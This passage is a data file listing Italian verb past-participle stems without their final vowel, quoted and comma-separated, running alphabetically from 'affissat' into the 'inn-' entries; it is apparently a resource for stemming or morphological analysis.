"affissat","affiss","affittat","affittit","afflitt","afflosciat","affocat","affogat","affogliat","affollat","affoltat","affondat","afforcat","afforestat","afforzat","affossat","affralit","affrancat","affrant","affratellat","affrenat","affrenellat","affrescat","affrettat","affrittellat","affrontat","affumat","affumicat","affumigat","affuocat","affusolat","africanizzat","ageminat","agevolat","aggallat","agganciat","aggangherat","aggarbat","aggattonat","aggavignat","aggelat","aggettivat","agghiacciat","agghiadat","agghiaiat","agghindat","aggiaccat","aggiogat","aggiornat","aggirat","aggiucchit","aggiudicat","aggiuntat","aggiunt","aggiustat","agglomerat","agglutinat","aggomitolat","aggottat","aggradit","aggraffat","aggranchiat","aggranchit","aggrandit","aggrappat","aggraticciat","aggravat","aggredit","aggregat","aggrevat","aggricciat","aggrinzat","aggrinzit","aggrommat","aggrondat","aggroppat","aggrottat","aggrovigliat","aggrumat","aggruppat","aggruzzolat","agguagliat","agguantat","agguardat","agguatat","aggueffat","agitat","agognat","agrarizzat","aguatat","agucchiat","agunat","agurat","aguzzat","aitat","aiutat","aizzat","alat","alberat","albergat","alcalinizzat","alchilat","alchimiat","alchimizzat","alcolizzat","alcoolizzat","alenat","alesat","alettat","alfabetat","alfabetizzat","alidit","alienat","alimentat","allacciat","allagat","allappat","allargat","allascat","allattat","alleat","allegat","alleggerit","alleggiat","allegorizzat","alleluiat","allenat","allenit","allentat","allertat","allessat","allestit","allettat","allevat","alleviat","allibat","allibit","allibrat","allicciat","allietat","allindat","allineat","allis","allocat","allogat","alloggiat","allontanat","allottat","allucchettat","allucciolat","allucinat","allumat","alluminat","alluminiat","allungat","allupat","allus","alluzzat","alogenat","alonat","alpeggiat","alterat","alternat","alzat","amalgamat","amareggiat","amaricat","amat","ambientat","ambiguat","ambit","americanizzat","amicat","ammaccat","ammaestrat","ammainat","ammalat","ammaliat","ammalinconit","ammaltat","ammanettat","ammanicat","ammanierat","ammanigliat","ammannat","ammannellat","ammannit","ammansat","ammansit","ammantat","ammantellat","ammarat","ammarezzat","ammassat","ammassellat","ammassicciat","ammatassat","ammattonat","ammazzat","ammelmat","ammencit","ammendat","ammennicolat","ammess","ammetat","ammezzit","amministrat","amminutat","ammirat","ammiserit","ammobiliat","ammodernat","ammodernizzat","ammogliat","ammoinat","ammollat","ammollit","ammonit","ammonticchiat","ammonticellat","ammorbat","ammorbidat","ammorbidit","ammorsat","ammortat","ammortit","ammortizzat","ammorzat","ammosciat","ammoscit","ammostat","ammotinat","ammucchiat","ammulinat","ammusat","ammutat","ammutinat","amnistiat","amoracciat","ampiat","ampliat","amplificat","amputat","anagrammat","analizzat","anamorfizzat","anastomizzat","anatematizzat","anatomizzat","anchilosat","ancis","ancorat","andicappat","anellat","anemizzat","anestetizzat","angariat","anglicizzat","angolat","angosciat","angustiat","animat","annacquat","annaffiat","annasat","annaspat","annaspicat","annebbiat","annegat","annerat","annerit","anness","annestat","annichilat","annichilit","annidat","annientat","annitrit","annobilit","annodat","annodicchiat","annoiat","annotat","annottat","annottolat","annoverat","annullat","annunciat","annunziat","annusat","annuvolat","anodizzat","anonimizzat","antecedut","antepost","antergat","anticheggiat","antichizzat","anticipat","anticonosciut","antidatat","antivedut","antivist","antologizzat","antropizzat","antropomorfizzat","aocchiat","aombrat","aonestat","aontat","apert","apocopat","apologizzat","apostatat","apostrofat","appaciat","appacificat","appagat","appaiat","appalesat","appallottolat","appaltat","appanettat","appannat","apparat","apparecchiat","apparentat","apparigliat","apparit","appartat","appassionat","appastat","appastellat","appellat","appennellat","appercepit","appertizzat","appesantit","appesit","appes","appestat","appetit","appezzat","appiacevolit","appianat","appiastrat","appiatat","appiattat","appiattit","appiccat","appiccicat","appiccolit","appiedat","appigionat","appigliat","appinzat","appiombat","appioppat","appisolat","applaudit","applicat","appoderat","appoggiat","appollaiat","appoppat","apportat","appostat","appost","appratit","appresentat","appres","appressat","apprestat","apprettat","apprezzat","approcciat","approfittat","approfondat","approfondit","approntat","appropinquat","appropriat","approssimat","approvat","approvisionat","approvvigionat","appruat","appulcrat","appuntat","appuntellat","appuntit","appurat","appuzzat","arabescat","arabizzat","arat","arbitrat","arborat","arcaizzat","arcat","architettat","archiviat","arcuat","ardit","areat","argentat","arginat","argomentat","arguit","arianizzat","arieggiat","armat","armonizzat","aromatizzat","arpeggiat","arpionat","arponat","arrabattat","arraffat","arraffiat","arrandellat","arrangiat","arrapat","arrapinat","arrappat","arrazzat","arrecat","arredat","arreggimentat","arrembat","arrenat","arresis","arres","arrestat","arretrat","arricchit","arricciat","arricciolat","arriffat","arringat","arrischiat","arrisicat","arris","arrocat","arroccat","arrochit","arrogat","arrolat","arroncat","arronzat","arrosat","arrossat","arrostat","arrostit","arrotat","arrotolat","arrotondat","arrovellat","arroventat","arroventit","arrovesciat","arrubinat","arruffat","arruffianat","arrugginit","arruncigliat","arruolat","arruvidit","arsicciat","ars","artefatt","articolat","artigliat","asces","asciat","asciolvut","asciugat","ascoltat","ascos","ascost","ascritt","asfaltat","asfissiat","aspers","aspettat","aspirat","asportat","aspreggiat","assaettat","assaggiat","assalit","assaltat","assaporat","assaporit","assassinat","assecondat","assecurat","assediat","asseggiat","assegnat","assembiat","assemblat","assembrat","assemprat","assentat","asserit","asserragliat","asservit","assestat","assetat","assettat","asseverat","assibilat","assicurat","assiderat","assiemat","assiepat","assillat","assimigliat","assimilat","assiomatizzat","assis","assistit","associat","assodat","assoggettat","assolcat","assoldat","assolt","assolutizzat","assomat","assommat","assonat","assonnat","assopit","assorbit","assordat","assordit","assortit","assottigliat","assuefatt","assunt","asteggiat","astenut","asters","astratt","astrett","atomizzat","atrofizzat","atrovat","attaccat","attagliat","attanagliat","attardat","attediat","atteggiat","attempat","attendat","attentat","attenuat","attenut","attergat","atterrat","atterrit","atterzat","attes","attestat","atticizzat","attillat","attint","attirat","attivat","attivizzat","attizzat","attorcigliat","attorniat","attort","attoscat","attossicat","attraccat","attrappit","attratt","attraversat","attrezzat","attribuit","attristat","attristit","attruppat","attualizzat","attuat","attuffat","attutat","attutit","auggiat","augumentat","augurat","aulit","aumentat","aunghiat","ausat","auscultat","auspicat","autenticat","autentificat","autoaccusat","autoaffondat","autoalimentat","autoassolt","autocandidat","autocensurat","autocitat","autocommiserat","autoconsumat","autoconvint","autodefinit","autodenunciat","autodistrutt","autofinanziat","autogestit","autogovernat","autografat","autoincensat","autointersecat","autoinvitat","autolesionat","autolimitat","automaticizzat","automatizzat","automotivat","autonominat","autoproclamat","autoprodott","autoprotett","autopubblicat","autopubblicizzat","autoregolamentat","autoregolat","autoridott","autoriparat","autorizzat","autosomministrat","autosostenut","autosuggestionat","autotassat","autotrapiantat","autotrasportat","autovalutat","avallat","avampat","avanzat","avariat","avint","aviolanciat","aviotrasportat","avocat","avolterat","avuls","avutacel","avut","avvallat","avvalorat","avvals","avvantaggiat","avvelat","avvelenat","avventat","avventurat","avverat","avversat","avvertit","avvezzat","avviat","avvicendat","avvicinat","avvignat","avvilit","avviluppat","avvinat","avvinchiat","avvinghiat","avvint","avvisat","avvistat","avvitat","avviticchiat","avvitit","avvivat","avvolt","avvoltolat","aziendalizzat","azionat","azotat","azzannat","azzardat","azzeccat","azzerat","azzimat","azzittat","azzittit","azzoppat","azzoppit","azzuffat","azzurrat","bacat","baccagliat","bacchettat","bacchiat","baciat","badat","bagnat","baipassat","balbettat","balcanizzat","ballat","baloccat","balzat","banalizzat","bancat","bandit","bannat","baraccat","barattat","barbarizzat","barcamenat","bardat","barellat","barrat","barricat","basat","basciat","basculat","bassat","bastat","bastionat","bastit","bastonat","battezzat","battut","bazzicat","beatificat","beat","beccat","beccheggiat","becchettat","beffat","beffeggiat","bendat","benedett","beneficat","benvolut","berlusconizzat","bersagliat","bestemmiat","bevut","biadat","bianchettat","bianchit","biascicat","biasimat","biasmat","bidonat","biennalizzat","biforcat","bigiat","bilanciat","binat","bindolat","biodegradat","biografat","bipartit","bisbigliat","biscottat","bisecat","bisellat","bisognat","bissat","bistrat","bistrattat","bitumat","bituminat","blandit","bleffat","blindat","bloccat","bloggat","bluffat","bobinat","boccheggiat","bocciat","boicottat","bollat","bollit","bombardat","bombat","bonderizzat","bonificat","bootat","borbottat","bordat","boriat","borrat","borseggiat","braccat","bracciat","bramat","bramit","brancicat","brandeggiat","brandit","brasat","bravat","brevettat","breviat","brillantat","brillat","brinat","broccat","brocciat","broccolat","brontolat","bronzat","brucat","bruciacchiat","bruciat","brunit","bruscat","bruschinat","brutalizzat","bruttat","bucat","bucherellat","bufat","buffat","bufferizzat","buggerat","bugnat","bulicat","bulinat","bullettat","bullonat","burattat","burlat","burocratizzat","burrificat","buscat","buttat","butterat","bypassat","cablat","cabrat","cacat","cacciat","cadenzat","cadmiat","caducat","cagat","caggiat","cagionat","cagliat","calafatat","calamitat","calandrat","calat","calcat","calciat","calcificat","calcolat","caldeggiat","calettat","calibrat","calmat","calmierat","calpestat","calumat","calunniat","calzat","cambiat","camerat","campionat","campit","camuffat","canalizzat","cancellat","cancerizzat","candeggiat","candidat","candit","canforat","cangiat","cannat","canneggiat","cannibalizzat","cannoneggiat","canonizzat","cantat","canterellat","canticchiat","cantilenat","canzonat","caolinizzat","capacitat","capeggiat","capillarizzat","capitalizzat","capitanat","capitaneggiat","capit","capitozzat","capivolt","caponat","capotat","capottat","capovolt","capponat","captat","caramellat","caramellizzat","caratat","caratterizzat","carbonizzat","carbossilat","carburat","carcat","carcerat","cardat","carenat","carezzat","cariat","caricat","caricaturat","caricaturizzat","carotat","carpionat","carpit","carreggiat","carrozzat","cartavetrat","carteggiat","cartellinat","cartografat","cartolarizzat","cartonat","cascolat","cassat","cass","castigat","castrat","casualizzat","catabolizzat","catalizzat","catalogat","catapultat","catechizzat","categorizzat","cateterizzat","catramat","cattolicizzat","catturat","causat","cautelat","cauterizzat","cauzionat","cavalcat","cavatasel","cavat","cazzat","cazziat","cazzottat","cedrat","cedut","celat","celebrat","cellofanat","cementat","cementificat","cennat","censit","censurat","centellat","centellinat","centimetrat","centinat","centralizzat","centrat","centrifugat","centuplicat","cerat","cercat","cerchiat","cernut","certificat","cesellat","cessat","cestinat","cheratinizzat","chetat","chiamat","chiappat","chiarificat","chiarit","chiaroscurat","chiavat","chiazzat","chiest","chilificat","chilometrat","chimificat","chinat","chinizzat","chiodat","chiosat","chius","choccat","ciancicat","cianfrinat","cianfrugliat","ciangottat","ciattat","cibat","cicatrizzat","ciccat","cicchettat","ciclizzat","ciclostilat","cifrat","cilindrat","cimat","cimentat","cincischiat","cinematografat","cintat","cint","cioncat","ciondolat","circolat","circoncint","circoncis","circondat","circondott","circonfless","circonfluit","circonfus","circonscritt","circonvenut","circoscritt","circostanziat","circuit","circumcint","circumnavigat","citat","ciucciat","ciurmat","civettat","civilizzat","clamat","classat","classicizzat","classificat","cliccat","climatizzat","clivat","clonat","cloroformizzat","clorurat","clusterizzat","co-dirett","coacervat","coadiuvat","coagulat","coalizzat","coartat","coccolat","codificat","coeditat","coesistit","cofinanziat","cofirmat","cofondat","cogestit","cogitat","coglionat","cognosciut","coibentat","coincis","cointeressat","cointestat","coinvolt","cokificat","colat","colettat","collassat","collaudat","collazionat","collegat","collettivizzat","collezionat","collimat","colliquat","collis","collocat","colluttat","colmat","colonizzat","colorat","colorit","colorizzat","colpevolizzat","colpit","coltellat","coltivat","colt","coltrat","comandat","combattut","combinat","comburut","comicizzat","cominciat","commemorat","commendat","commensurat","commentat","commercializzat","commess","comminat","commiserat","commissariat","commissionat","commisurat","commoss","commutat","comodat","compaginat","comparit","compartimentalizzat","compartit","compassionat","compatibilizzat","compatit","compattat","compendiat","compenetrat","compensat","comperat","compiaciut","compiant","compilat","compitat","compiut","complessat","complessificat","compless","completat","complicat","complimentat","comportat","compostat","compost","comprat","compravendut","compres","compress","compromess","comprovat","compulsat","compunt","computat","computerizzat","comunicat","comunistizzat","concatenat","concedut","concelebrat","concentrat","concepit","concertat","concess","concettat","concettualizzat","conchius","conciat","conciliat","concimat","concitat","conclamat","conclus","concordat","concott","concretat","concretizzat","conculcat","concupit","condannat","condensat","condit","condivis","condizionat","condolut","condonat","condott","confatt","confederat","conferit","confermat","confessat","confettat","confezionat","conficcat","confidat","configurat","confinat","confint","confiscat","confitt","conformat","confortat","confricat","confrontat","confus","confutat","congedat","congegnat","congelat","congestionat","congetturat","congiunt","conglobat","conglomerat","conglutinat","congratulat","congregat","conguagliat","coniat","coniugat","connaturat","conness","connotat","connumerat","conosciut","conquistat","consacrat","consapevolizzat","consegnat","conseguit","consentit","conservat","considerat","consigliat","consistit","consociat","consolat","consolidat","consorziat","conspars","conspers","constatat","constrett","construit","consultat","consumat","consunt","contabilizzat","contagiat","containerizzat","contaminat","contat","contattat","conteggiat","contemperat","contemplat","contentat","contenut","contes","contestat","contestualizzat","contingentat","continuat","contornat","contort","contrabbandat","contraccambiat","contraddett","contraddistint","contradett","contraffatt","contrappesat","contrappost","contrappuntat","contrariat","contrassegnat","contrastat","contrat","contrattaccat","contrattat","contratt","contravvals","contristat","controbattut","controbilanciat","controdatat","controfirmat","controindicat","controllat","controminat","contronotat","contropropost","controprovat","controquerelat","controsoffittat","controstampat","controventat","conturbat","contus","convalidat","convenut","convenzionat","convertit","convint","convitat","convocat","convogliat","convolt","coobat","cooptat","coordinat","coperchiat","copert","copiaincollat","copiat","copolimerizzat","coppellat","coprodott","corazzat","corbellat","corcat","cordonat","coreografat","coricat","cornificat","coronat","corredat","correlat","corresponsabilizzat","corrett","corricchiat","corrispost","corroborat","corros","corrott","corrucciat","corrugat","cors","corteat","corteggiat","cortocircuitat","coruscat","cosat","coscritt","cospars","cospers","costatat","costeggiat","costellat","costernat","costicchiat","costipat","costituit","costituzionalizzat","costrett","costruit","costudit","cotonat","cott","covat","coventrizzat","coverchiat","craccat","creat","credut","cremat","crepat","cresciut","cresimat","crespat","criminalizzat","crioconcentrat","criptat","cristallizzat","cristianizzat","criticat","crittat","crittografat","crivellat","crocchiat","crocefiss","crocefitt","crocifiss","crocifitt","crogiolat","cromat","cronicizzat","cronometrat","crostat","crucciat","crucifiss","crucifitt","cuccat","cucinat","cucit","cullat","cumulat","cuntat","curat","curvat","curvat","custodit","customizzat","damascat","damaschinat","damat","dannat","danneggiat","danzat","dardeggiat","datat","dat","dattilografat","dattiloscritt","daziat","deacidificat","deattivat","debbiat","debellat","debilitat","decaffeinat","decaffeinizzat","decalcat","decalcificat","decantat","decapat","decapitat","decappottat","decarbossilat","decarburat","decatizzat","decelerat","decentralizzat","decentrat","decerebrat","decernut","decespugliat","deciferat","decifrat","decimalizzat","decimat","decis","declamat","declassat","declassificat","declinat","declorat","decodificat","decolonizzat","decolorat","decompartimentat","decompilat","decompost","decompress","deconcentrat","decondizionat","decongelat","decongestionat","decontaminat","decontestualizzat","decontratt","decorat","decorticat","decostruit","decrementat","decretat","decriminalizzat","decriptat","decrittat","decuplicat","decurtat","dedicat","dedott","defacciat","defalcat","defascistizzat","defecat","defenestrat","deferit","defilat","definit","defiscalizzat","defitt","deflazionat","deflemmat","deflorat","defogliat","defoliat","deforestat","deformat","defosforat","defosforilat","deframmentat","defraudat","degassat","degassificat","deglutit","degnat","degradat","degustat","deidratat","deidrogenat","deificat","deindicizzat","deindustrializzat","deionizzat","delegat","delegificat","delegittimat","delibat","deliberat","delimitat","delineat","delirat","deliziat","delocalizzat","delucidat","delus","demagnetizzat","demandat","demanializzat","demarcat","demeritat","demers","demetallizzat","demilitarizzat","demineralizzat","demistificat","demitizzat","democratizzat","demodulat","demolit","demoltiplicat","demonetat","demonetizzat","demonizzat","demoralizzat","demors","demotivat","denaturalizzat","denaturat","denazificat","denazionalizzat","denicotinizzat","denigrat","denitrificat","denocciolat","denominat","denotat","dentellat","denuclearizzat","denudat","denunciat","denunziat","deodorat","deossidat","deossigenat","deostruit","depauperat","depenalizzat","depennat","depilat","depint","depistat","deplorat","depolarizzat","depolimerizzat","depoliticizzat","depolverizzat","deportat","depositat","depost","depotenziat","depravat","deprecat","depredat","depress","depressurizzat","deprezzat","deprivat","deprotonat","depuls","depurat","dequalificat","deratizzat","derattizzat","dereferenziat","deregolamentat","deregolat","derequisit","deresponsabilizzat","deris","derubat","derubricat","desacralizzat","desalat","desalinizzat","descolarizzat","descritt","desecretat","desegretat","deselezionat","desensibilizzat","desessualizzat","desiat","desiderat","designat","desinat","desirat","desolat","desolforat","desonorizzat","desorbit","desossidat","desquamat","destabilizzat","destagionalizzat","destalinizzat","destatalizzat","destatizzat","destat","destinat","destituit","destoricizzat","destreggiat","destrutt","destrutturat","desunt","detassat","detenut","deteriorat","determinat","deters","detestat","detonat","detort","detossificat","detratt","detronizzat","dettagliat","dettat","dett","deturpat","deumidificat","devastat","deventat","deviat","deviscerat","devitalizzat","devitaminizzat","devolut","dezippat","diaframmat","diagnosticat","diagonalizzat","diagrammat","dializzat","dialogat","dialogizzat","diazotat","dibattut","diboscat","dichiarat","diesat","diesizzat","difes","diffamat","differit","diffidat","diffrant","diffratt","diffus","digerit","digitalizzat","digitat","digiunt","digrassat","digrignat","digrossat","dilacerat","dilaniat","dilapidat","dilatat","dilavat","dilazionat","dileggiat","dileguat","dilettat","dilett","diliscat","dilucidat","diluit","dilungat","dimagrat","dimandat","dimenat","dimensionat","dimenticat","dimerizzat","dimess","dimezzat","diminuit","dimissionat","dimostrat","dimunt","dinamizzat","dinoccat","dipanat","dipelat","dipint","diplomat","dipost","diradat","diramat","dirett","direzionat","dirimut","diroccat","dirottat","dirott","dirozzat","disabilitat","disabituat","disaccentat","disaccoppiat","disaccordat","disacerbat","disacidat","disacidificat","disacidit","disaerat","disaffezionat","disaggregat","disalberat","disallineat","disamat","disambiguat","disaminat","disamorat","disancorat","disanimat","disappannat","disapplicat","disappres","disapprovat","disarcionat","disarmat","disarticolat","disascost","disassemblat","disassuefatt","disatomizzat","disattes","disattivat","disattrezzat","disavvezzat","disboscat","disbrigat","discacciat","discalzat","discantat","discaricat","discernut","disces","disceverat","dischiest","dischius","discint","disciolt","disciplinat","discolorat","discolpat","discommess","discompagnat","discompost","disconclus","disconfitt","discongiunt","disconness","disconosciut","discopert","discordat","discosces","discostat","discreditat","discresciut","discriminat","discritt","discucit","discuoiat","discuss","disdegnat","disdettat","disdett","diseccat","diseccitat","diseducat","disegnat","diserbat","diseredat","disertat","disert","disfatt","disgelat","disgiunt","disgraziat","disgregat","disgustat","disidentificat","disiderat","disidratat","disillus","disimballat","disimparat","disimpegnat","disimpress","disincagliat","disincantat","disincentivat","disincrostat","disindustrializzat","disinfestat","disinfettat","disinflazionat","disinformat","disingannat","disingranat","disinibit","disinnamorat","disinnescat","disinnestat","disinquinat","disinserit","disinstallat","disintasat","disintegrat","disinteressat","disintes","disintossicat","disinvestit","disinvolt","disistimat","dislocat","dismess","disobbedit","disobbligat","disonorat","disordinat","disorganizzat","disorientat","disormeggiat","disossat","disossidat","disostruit","disotterrat","disparit","dispensat","dispent","disperdut","dispers","dispes","dispiegat","dispint","dispogliat","dispost","dispregiat","disprezzat","dispromess","disproporzionat","disputat","disqualificat","disrott","dissacrat","dissalat","dissaldat","dissanguat","dissecat","disseccat","disselciat","dissellat","disseminat","dissepolt","disseppellit","dissequestrat","disserrat","dissestat","dissetat","dissezionat","dissigillat","dissimulat","dissipat","dissociat","dissodat","dissolt","dissomigliat","dissotterrat","dissuas","dissuggellat","distaccat","distanziat","distes","distillat","distint","distolt","distort","distratt","distrett","distribuit","districat","distrigat","distrutt","disturbat","disubbidit","disumanat","disumanizzat","disunit","disusat","disvedut","disvelat","disvestit","disviat","disvist","disvolt","disvolut","dittongat","divallat","divaricat","divelt","diversificat","divertit","divezzat","divinat","divincolat","divinizzat","divis","divolt","divorat","divorziat","divulgat","documentat","dogat","dogmatizzat","dolcificat","dollarizzat","dolorat","dolut","domandat","domat","domesticat","domiciliat","dominat","donat","dondolat","dopat","doppiat","dorat","dosat","dotat","dovut","dragat","drammatizzat","drappeggiat","drenat","dribblat","drizzat","drogat","dugliat","duplicat","duramificat","ebraizzat","eccedut","eccepit","eccettuat","eccitat","echeggiat","eclissat","economizzat","edificat","editat","edott","educat","edulcorat","effettuat","efficientat","effigiat","effint","effluit","effus","egemonizzat","eguagliat","eiettat","elaborat","elargit","elasticizzat","elementarizzat","elemosinat","elencat","elett","elettrificat","elettrizzat","elettrocoagulat","elettrolizzat","elevat","eliminat","elis","elitrasportat","ellenizzat","elogiat","elucidat","elucubrat","eluit","elus","emanat","emancipat","emarginat","embricat","emendat","emess","emozionat","empit","empiut","emulat","emulsionat","emunt","encomiat","endocitat","energizzat","enfatizzat","enfiat","entusiasmat","enucleat","enumerat","enunciat","epicureggiat","epurat","equalizzat","equilibrat","equipaggiat","equiparat","eradicat","eras","ereditat","erett","erogat","eroicizzat","eros","erotizzat","erpicat","ers","erudit","eruttat","esacerbat","esagerat","esagitat","esalat","esaltat","esaminat","esasperat","esaudit","esaurit","esautorat","esborsat","esclamat","esclus","escogitat","escomiat","escoriat","escoss","escuss","esecrat","esecutat","eseguit","esemplificat","esentat","esercitat","esfoliat","esibit","esilarat","esiliat","esimut","esitat","esonerat","esorbitat","esorcizzat","esortat","espans","espars","esperimentat","esperit","espettorat","espiantat","espiat","espirat","espletat","esplicat","esplicitat","esplorat","esplos","esportat","espost","espress","espropriat","espugnat","espuls","espunt","espurgat","essiccat","essut","estasiat","estenuat","esterificat","esteriorizzat","esterminat","esternalizzat","esternat","estes","estimat","estint","estirpat","estivat","estort","estradat","estraniat","estrapolat","estratt","estremizzat","estrinsecat","estromess","estrus","estubat","esulcerat","esultat","esumat","eterificat","eterizzat","eternat","eternizzat","etichettat","etossilat","euforizzat","europeizzat","evacuat","evangelizzat","evas","evet","evidenziat","evint","evirat","eviscerat","evitat","evocat","evolt","evolut","evuls","fabbricat","faccettat","facilitat","fagocitat","falciat","falcidiat","fallit","falsat","falsificat","familiarizzat","fanatizzat","fantasticat","farcit","farfugliat","fasciat","fascicolat","fascistizzat","fattacel","fatt","fattorizzat","fatturat","favellat","favoreggiat","favorit","faxat","fecondat","fedecommess","federalizzat","federat","felicitat","felpat","feltrat","femminilizzat","fendut","ferit","fermat","fermentat","ferrat","fertilizzat","fess","fessurat","festeggiat","festonat","feudalizzat","fiaccat","fiammeggiat","fiancheggiat","ficcat","fidanzat","fidat","fidecommess","fidelizzat","figliat","figurat","filat","filettat","filmat","filosofat","filtrat","finalizzat","finanziat","finital","finit","finlandizzat","fintat","fint","fiocinat","fiondat","fiorettat","firmat","fiscalizzat","fischiat","fischiettat","fissat","fissionat","fitt","fiutat","flagellat","flaggat","flambat","flangiat","flemmatizzat","fless","flippat","flottat","fluidificat","fluidizzat","fluorizzat","fluorurat","focalizzat","focheggiat","foderat","foggiat","fognat","folgorat","follat","fomentat","fonat","fondat","foracchiat","foraggiat","forat","forestat","forfettizzat","forgiat","formalizzat","format","formattat","formilat","formulat","fornit","fortificat","forviat","forwardat","forzat","fosfatat","fosforat","fosforilat","fossilizzat","fotocompost","fotocopiat","fotografat","fottut","fracassat","fraintes","framess","frammentat","frammess","frammezzat","frammischiat","franceseggiat","francesizzat","frangiat","frant","frantumat","frappat","frappost","fraseggiat","frastagliat","frastornat","fratturat","frazionat","freddat","fregat","fregiat","frenat","frequentat","fresat","frettat","friendzonat","fritt","frizionat","frodat","frollat","fronteggiat","frugat","fruit","frullat","frusciat","frustat","frustrat","fruttat","fucilat","fucinat","fugat","fuggit","fulminat","fumat","fumigat","funestat","funt","funzionat","fuoriuscit","fuorviat","fus","fustellat","fustigat","gabbat","gabellat","gallat","gallicizzat","gallonat","galvanizzat","gambizzat","garantit","garnettat","garrotat","garzat","gasat","gassat","gassificat","gazat","gelatinizzat","gelat","gelificat","gemellat","gemicat","geminat","generalizzat","generat","gentrificat","genufless","geometrizzat","georeferenziat","gerarchizzat","germanizzat","gestit","gettat","gettonat","ghermit","ghettizzat","ghigliottinat","ghindat","gibollat","gingillat","ginnat","giocat","gioit","gionglat","giovaneggiat","giovat","girandolat","girat","giudicat","giulebbat","giuntat","giunt","giuracchiat","giurat","giustappost","giustificat","giustiziat","glamourizzat","glassat","glissat","globalizzat","gloriat","glorificat","glossat","godronat","godut","goffrat","gommat","gonfiat","googlat","gottat","governat","gradinat","gradit","gradualizzat","graduat","graffat","graffiat","graffit","graficat","grafitat","gramolat","granagliat","grandinat","granellat","granit","granulat","graticciat","graticolat","gratificat","gratinat","grattat","grattugiat","gravat","graziat","grecheggiat","grecizzat","gremit","gridat","griffat","grigliat","grippat","groccat","grondat","grugat","grugnit","guadagnat","gualcit","guardat","guarit","guarnit","guastat","guatat","guerreggiat","gufat","guidat","gustat","hackerat","handicappat","ibernat","ibridat","idealizzat","ideat","identificat","ideologizzat","idolatrat","idoleggiat","idratat","idrogenat","idrolizzat","iettat","igienizzat","ignifugat","ignorat","illanguidit","illeggiadrit","illividit","illuminat","illus","illustrat","imbacuccat","imbaldanzit","imballat","imbalsamat","imbambolat","imbandierat","imbandit","imbarbarit","imbarcat","imbarilat","imbastardit","imbastit","imbattut","imbavagliat","imbeccat","imbellettat","imbellit","imbestialit","imbestiat","imbevut","imbiaccat","imbiancat","imbianchit","imbibit","imbiettat","imbiondit","imbizzarrit","imboccat","imbonit","imborghesit","imboscat","imboschit","imbottat","imbottigliat","imbottit","imbozzimat","imbracat","imbracciat","imbragat","imbrancat","imbrattat","imbrecciat","imbrigliat","imbrillantinat","imbroccat","imbrodat","imbrogliat","imbronciat","imbruttit","imbucat","imbudellat","imbullettat","imbullonat","imburrat","imbussolat","imbustat","imbutit","imitat","immagazzinat","immaginat","immalinconit","immatricolat","immedesimat","immers","immess","immischiat","immiserit","immobilizzat","immolat","immortalat","immunizzat","immusonit","impaccat","impacchettat","impacciat","impadronit","impaginat","impagliat","impalat","impalcat","impallat","impallinat","impalmat","impaludat","impanat","impaniat","impannat","impantanat","impaperat","impapocchiat","impappinat","imparentat","imparruccat","impartit","impastat","impasticcat","impasticciat","impastocchiat","impastoiat","impataccat","impattat","impaurit","impavesat","impeciat","impedicat","impedit","impegnat","impegolat","impelagat","impellicciat","impennacchiat","impennat","impensierit","impepat","imperlat","impermalit","impermeabilizzat","imperniat","impersonat","impersonificat","impestat","impetrat","impiallacciat","impiantat","impiastrat","impiastricciat","impiccat","impicciat","impicciolit","impiccolit","impidocchiat","impiegat","impietosit","impietrit","impigliat","impigrit","impilat","impillaccherat","impinguat","impint","impinzat","impiombat","impipat","impiumat","implementat","implicat","implorat","impollinat","impolpat","impoltronit","impolverat","impomatat","imporcat","imporporat","importat","importunat","impossessat","impossibilitat","impostat","impost","impratichit","impregnat","impres","impressionat","impress","imprestat","impreziosit","imprigionat","impromess","improntat","improsciuttit","impugnat","impuntit","impunturat","impupat","imputat","impuzzolentit","inabilitat","inabissat","inacerbit","inacetit","inacidit","inacutit","inaffiat","inalat","inalberat","inalveat","inalzat","inamidat","inanellat","inarcat","inargentat","inaridit","inasprit","inastat","inattivat","inaugurat","incacchiat","incalcinat","incalorit","incalzat","incamerat","incamiciat","incamminat","incanaglit","incanalat","incannat","incannucciat","incaponit","incappottat","incappucciat","incaprettat","incapricciat","incapsulat","incarcerat","incardinat","incaricat","incarnat","incarrozzat","incartat","incartocciat","incartonat","incasellat","incasinat","incassat","incastellat","incastonat","incastrat","incatenat","incatramat","incattivit","incavat","incavigliat","incavolat","incazzat","incellofanat","incendiat","incenerit","incensat","incentivat","incentrat","inceppat","incerat","incernierat","incerottat","inces","incettat","inchiappettat","inchiavardat","inchiest","inchinat","inchiodat","inchiostrat","incipriat","incis","incistat","incitat","inciuccat","incivilit","inclinat","inclus","incoccat","incocciat","incoiat","incollat","incolonnat","incolpat","incominciat","incomodat","incontrat","incoraggiat","incordat","incornat","incorniciat","incoronat","incorporat","incott","incravattat","incrementat","increspat","incretinit","incriminat","incrinat","incrociat","incrostat","incrudelit","incrudit","incruscat","incubat","inculat","inculcat","incuneat","incuoiat","incuorat","incupit","incuriosit","incurvat","incuss","indagat","indebitat","indebolit","indemaniat","indennizzat","indett","indicat","indicizzat","indignat","indirett","indirizzat","indispettit","indispost","individualizzat","individuat","indolenzit","indorat","indossat","indott","indottom","indottrinat","indovinat","indugiat","indult","indurat","indurit","industrializzat","industriat","inebetit","inebriat","inerit","inerpicat","infagottat","infamat","infangat","infarcit","infarinat","infastidit","infatuat","infeltrit","inferit","inferocit","infert","infervorat","infestat","infettat","infeudat","infiacchit","infialat","infialettat","infiammat","infiascat","infibulat","inficiat","infilat","infiltrat","infilzat","infingardit","infinocchiat","infint","infioccat","infiocchettat","infiochit","infiorat","infirmat","infischiat","infiss","infittit","inflazionat","infless","inflitt","influenzat","infocat","infoderat","infognat","infoibat","infoltit","inforcat","informatizzat","informat","informicolat","informicolit","infornaciat","infornat","infortunat","infoscat","infossat","infradiciat","inframess","inframezzat","inframmess","inframmezzat","infrancesat","infrappost","infrascat","infrattat","infreddat","infronzolat","infuocat","infurbit","infuriat","ingabbiat","ingaggiat","ingagliardit","ingannat","ingarbugliat","ingavonat","ingegnat","ingegnerizzat","ingelosit","ingemmat","ingenerat","ingentilit","ingerit","ingessat","inghiaiat","inghiottit","inghirlandat","ingiallit","ingigantit","inginocchiat","ingioiellat","ingiunt","ingiuriat","inglesizzat","inglobat","ingoffit","ingoiat","ingolfat","ingollat","ingolosit","ingombrat","ingommat","ingorgat","ingozzat","ingranat","ingrandit","ingrassat","ingraticciat","ingraticolat","ingravidat","ingraziat","ingraziosit","ingrigit","ingrommat","ingrossat","ingrullit","inguaiat","inguainat","ingualdrappat","inguantat","ingurgitat","inibit","iniettat","inimicat","inizializzat","iniziat","inmillat","innacquat","innaffiat","innalzat","innamorat","innastat","innervat","innervosit","innescat","innestat","innevat","innocentat","innocuizzat","i